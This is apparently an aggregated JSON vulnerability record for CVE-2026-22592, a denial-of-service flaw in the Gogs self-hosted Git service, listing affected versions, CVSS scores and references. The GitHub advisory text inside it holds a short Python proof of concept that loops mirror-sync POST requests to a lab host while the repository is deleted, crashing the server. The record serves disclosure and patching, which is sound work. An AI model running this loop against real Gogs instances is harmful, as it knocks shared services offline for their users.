{"id":"CVE-2026-22592","aliases":["CVE-2026-22592","GHSA-cr88-6mqm-4g57","GO-2026-4451"],"related":[],"kind":"vulnerability","state":"published","title":"Gogs is Vulnerable to Denial of Service","summary":"Gogs is an open source self-hosted Git service. In version 0.13.3 and prior, an authenticated user can cause a DOS attack. If one of the repo files is deleted before synchronization, it will cause the application to crash. This issue has been patched in versions 0.13.4 and 0.14.0+dev.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Gogs is an open source self-hosted Git service. In version 0.13.3 and prior, an authenticated user can cause a DOS attack. If one of the repo files is deleted before synchronization, it will cause the application to crash. This issue has been patched in versions 0.13.4 and 0.14.0+dev.","source":"cvelist"},{"lang":"en","text":"### Summary\nAn authenticated user can cause a DOS attack. If one of the repo files is deleted before synchronization, it will cause the application to crash.\n\n### Details\nIf GetMirrorByRepoID fails, the error log dereferencing null pointer. This happens if the repository no longer exits.\nhttps://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L333-L337\nif `err != nil` `m` is alwasa `nil`\nhttps://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L269-L278\n### PoC\nSpam mirror-sync on repo and delete this repo\ncode python spam mirror-sync\n```py\nimport requests\n\nurl = \"http://gogs.lan:3000/superuser/gobypass403/settings\"\nheaders = {\n    \"Cookie\": \"lang=en-US; i_like_gogs=fe32281ab84ae868; _csrf=UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg\",\n}\n\ndata = {\n    \"_csrf\": \"UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg\",\n    \"action\": \"mirror-sync\",\n}\n\nwhile True:\n    print(\"syncing\")\n    response = requests.post(url, headers=headers, data=data)\n```\n### Impact\nDenial of Service server crash.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Gogs has a Denial of Service issue in gogs.io/gogs.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: gogs.io/gogs before v0.13.4.","format":"markdown","source":"go"},{"lang":"es","text":"Gogs es un servicio Git autoalojado de código abierto. En la versión 0.13.3 y anteriores, un usuario autenticado puede causar un ataque DoS. Si uno de los archivos del repositorio se elimina antes de la sincronización, hará que la aplicación falle. Este problema ha sido parcheado en las versiones 0.13.4 y 0.14.0+dev.","source":"nvd"}],"published":"2026-02-06T17:42:26.326Z","modified":"2026-06-17T10:20:07.550Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","score":6.5,"rating":"MEDIUM"}],"cwes":["CWE-862"],"affected":[{"ranges":[{"version":"< 0.14.0+dev","status":"affected"},{"version":"< 0.13.4","status":"affected"}],"vendor":"gogs","product":"gogs","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.13.4"}],"ecosystem":"Go","package":"gogs.io/gogs","purl":"pkg:golang/gogs.io/gogs","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"gogs.io/gogs","purl":"pkg:golang/gogs.io/gogs","source":"go"},{"ranges":[{"status":"affected","fixed":"0.13.4"}],"vendor":"gogs","product":"gogs","cpe":"cpe:2.3:a:gogs:gogs:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/gogs/gogs/security/advisories/GHSA-cr88-6mqm-4g57","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22592","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/gogs/gogs/commit/961a79e8f9f2b3190ea804bcf635e4b43b123272","tags":["web"],"sources":["ghsa","go"]},{"url":"https://github.com/gogs/gogs","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L269-L278","tags":["web"],"sources":["ghsa","go"]},{"url":"https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L333-L337","tags":["web"],"sources":["ghsa","go"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-02-06T18:55:12.756Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-22592","url":"https://www.cve.org/CVERecord?id=CVE-2026-22592","licence":"CVE Terms of Use","modified":"2026-02-06T18:55:18.874Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-cr88-6mqm-4g57","url":"https://github.com/advisories/GHSA-cr88-6mqm-4g57","licence":"CC-BY-4.0","modified":"2026-02-19T20:41:25.323Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-4451","url":"https://pkg.go.dev/vuln/GO-2026-4451","licence":"CC-BY-4.0","modified":"2026-02-19T20:41:25.323Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-22592","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22592","licence":"Public domain","modified":"2026-06-17T10:20:07.550Z"}],"updatedAt":"2026-11-25T22:59:13.558Z","epss":{"score":0.00373,"percentile":0.3334,"date":"2026-12-01T12:00:22.000Z"}}